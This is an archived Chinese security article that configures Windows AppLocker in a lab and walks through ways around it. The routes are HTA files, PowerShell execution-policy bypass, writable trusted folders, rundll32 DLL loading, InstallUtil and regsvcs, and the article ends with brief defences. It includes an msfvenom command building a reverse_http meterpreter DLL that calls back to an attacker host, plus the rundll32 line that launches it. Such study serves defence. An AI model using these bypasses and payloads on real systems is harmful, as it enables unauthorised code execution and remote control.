# Bypass Windows AppLocker

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-01-18T02:31:00Z
Canonical: https://wepostx.com/topics/35

> 乌云历史资料归档
>
> **原始作者：** 三好学生
> **原始编号：** superkieran-wooyundrops:1003
> **原始发布时间：** 2016-01-18 10:31
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

![原文图片](/media/2016/06/8c07b9546924f13d429ed27cae4cca11)

上一次我们对McAfee Application Control做了测试，这次接着对另一款白名单工具Windows AppLocker进行测试，分享一下其中的攻防技术。

# 0x01 简介

Windows AppLocker，即“应用程序控制策略”，可用来对可执行程序、安装程序和脚本进行控制，之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2，但是微软在2012年10月18日将其更新，已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise
如图

![原文图片](/media/2016/06/63917416db31d5a5cfb0130b7e3f52fc)

AppLocker可对以下文件格式创建规则，限制其执行

![原文图片](/media/2016/06/f83a322a304974385c4527a22bc95571)

下面我们就实际测试一下相关功能

# 0x02 配置

测试环境:

```text
#!bash OS：Windows7 Ultimate x86
```

### 1、开启服务
进入计算机管理-服务-Application Identity，将服务设置为开启
如图

![原文图片](/media/2016/06/8f6d2a899cf491943bcc0af2db5a6d27)

### 2、进入AppLocker配置界面
输入secpol.msc进入本地安全策略-应用程序控制策略-AppLocker
或者gpedit.msc-计算机配置-Windows设置-安全设置-应用程序控制策略-AppLocker
如图

![原文图片](/media/2016/06/9bf0a0676d9cdd8d0c549612f4080b2e)

### 3、配置规则
对可执行文件设置默认规则：

- 允许本地管理员组的成员运行所有应用程序。

- 允许 Everyone 组的成员运行位于 Windows 文件夹中的应用程序。

- 允许 Everyone 组的成员运行位于 Program Files 文件夹中的应用程序。
如图

![原文图片](/media/2016/06/0ab6bdfec4f536878ad8b6e42c12bb7b)

对脚本设置默认规则：

- 允许本地管理员组的成员运行所有脚本。

- 允许 Everyone 组的成员运行位于 Program Files 文件夹中的脚本。

- 允许 Everyone 组的成员运行位于 Windows 文件夹中的脚本。
如图

![原文图片](/media/2016/06/f1c2780087957be8a6f664d199a8728b)

开启默认规则后，除了默认路径可以执行外，其他路径均无法执行程序和脚本

# 0x03 测试

### 1、执行exe

![原文图片](/media/2016/06/06229504e5e99d2283a9780df0dd282e)

### 2、执行脚本

![原文图片](/media/2016/06/1931b73bab514a0e0752256ed4f94b38)

![原文图片](/media/2016/06/4e5a0050240852e812f23e5743d33f35)

# 0x04 安全机制分析

通过测试发现设置的规则已经生效，能够阻止信任路径外的exe和脚本执行，但是对以下方面没有做限制：

- 内存

- Office 宏

- HTML Applications，即hta文件

- powershell
而我们已经掌握的绕过技术有：

- 利用hta文件

- 利用jscript

- 利用powershell

- 利用InstallUtil

- 利用regsvcs
再加上新学来的技巧，我们最终发现了如下可供利用的方法：）

# 0x05 绕过方法

### 1、hta
成功
（可参照[http://drops.wooyun.org/tips/10667](http://drops.wooyun.org/tips/10667)）
可用来执行vbs和JavaScript脚本

### 2、提权
提权到管理员权限，即可执行突破AppLocker的限制，执行exe和脚本

### 3、powershell
（1）可以执行ps脚本

```text
#!bash PowerShell.exe -ExecutionPolicy Bypass -File
```
（2）可以通过如下方式执行ps脚本

```text
#!bash Get-Content script.txt | iex
```
（3）可以利用快捷方式执行Powershell
成功
（可参照[http://drops.wooyun.org/tips/10667](http://drops.wooyun.org/tips/10667)）

### 4、进程注入
既然可以执行powershell脚本，那么就可以反弹出meterpreter
然后尝试进程注入
（可参照[http://drops.wooyun.org/tips/11305](http://drops.wooyun.org/tips/11305)）
如果注入到普通权限进程，无法执行exe和脚本
如果是system权限进程，可以执行exe和脚本

### 5、查找可利用的文件路径
通过ps脚本扫描可写入的路径
下载地址：[http://go.mssec.se/AppLockerBC](http://go.mssec.se/AppLockerBC)
（如果无法下载，我已将该脚本上传至Github）
测试如图

![原文图片](/media/2016/06/1186e2f3d18d830836df1aec95c38e5e)

![原文图片](/media/2016/06/de7952903b1e78937ad81f66e74ada91)

![原文图片](/media/2016/06/72088ac40d6fd3d20e8224e5707d97b3)

执行后会自动扫描出可利用的路径
比如选择路径：c:\Windows\Tasks
正常执行calc.js会被拦截
但是copy calc.js c:\Windows\Tasks后
再执行c:\Windows\Tasks\calc.js，可以绕过拦截
如图

![原文图片](/media/2016/06/cf1bcee99865458542c2a99d345dd8d4)

### 6、rundll32
（1）执行JavaScript
a、直接弹回一个Http shell
（可参照[http://drops.wooyun.org/tips/11764](http://drops.wooyun.org/tips/11764)）
但无法绕过对执行exe和脚本的拦截
b、利用JavaScript执行powershell命令返回HTTP shell

![原文图片](/media/2016/06/a297bacb608c0bb6f299808370b693cc)

（2）加载第三方dll
a、自己编写的dll
参考资料：
[http://blog.didierstevens.com/2010/02/04/cmd-dll/](http://blog.didierstevens.com/2010/02/04/cmd-dll/)
按照dll的格式，自己编写并生成dll上传
执行

```text
#!bash rundll32.exe cmd.dll,Control_RunDLL
```
弹出一个cmd
如图

![原文图片](/media/2016/06/f517846bfb702daa873b53bee3a7cf50)

b、反弹meterpreter
kali下：

```text
#!bash msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
```
生成a.dll,然后上传至测试主机
执行

```text
#!bash rundll32.exe a.dll,Control_RunDLL
```
即可上线
如图

![原文图片](/media/2016/06/30edc20ea27a72bc38e3154f83a04f6a)

![原文图片](/media/2016/06/71606acead70055432bf2618ff1b125b)

### 7、利用InstallUtil
利用InstallUtil.exe直接执行shellcode 成功
如果有Microsoft .NET Framework 4.0环境，可用来执行exe
（可参照[http://drops.wooyun.org/tips/8701](http://drops.wooyun.org/tips/8701),[http://drops.wooyun.org/tips/8862](http://drops.wooyun.org/tips/8862)）

### 8、利用regsvcs
成功
（可参照[http://drops.wooyun.org/tips/10667](http://drops.wooyun.org/tips/10667)）

# 0x06 防御

- 严格控制文件写入权限

- 禁用mshta.exe阻止hta的运行

- 禁用powershell

- 防止被提权

# 0x07 小结

随着研究的逐渐深入，我们不难发现：利用InstallUtil、regsvcs是绕过白名单限制的一把利器，无论是攻击还是防御，对此部分都要尤其重视。
而利用rundll32.exe的技巧，正在慢慢被发掘。

# 0x08 参考资料：

- [https://technet.microsoft.com/en-us/library/dd759117.aspx](https://technet.microsoft.com/en-us/library/dd759117.aspx)

- [https://technet.microsoft.com/en-us/library/hh831440.aspx](https://technet.microsoft.com/en-us/library/hh831440.aspx)

- [http://dfir-blog.com/2016/01/03/protecting-windows-networks-applocker/](http://dfir-blog.com/2016/01/03/protecting-windows-networks-applocker/)

- [https://mssec.wordpress.com/2015/10/22/applocker-bypass-checker/](https://mssec.wordpress.com/2015/10/22/applocker-bypass-checker/)

- [https://www.attackdebris.com/?p=143](https://www.attackdebris.com/?p=143)

- [http://blog.didierstevens.com/2010/02/04/cmd-dll/](http://blog.didierstevens.com/2010/02/04/cmd-dll/)
相关文件下载地址：
[https://github.com/3gstudent/Bypass-Windows-AppLocker](https://github.com/3gstudent/Bypass-Windows-AppLocker)
本文由三好学生原创并首发于乌云drops，转载请注明

## Replies
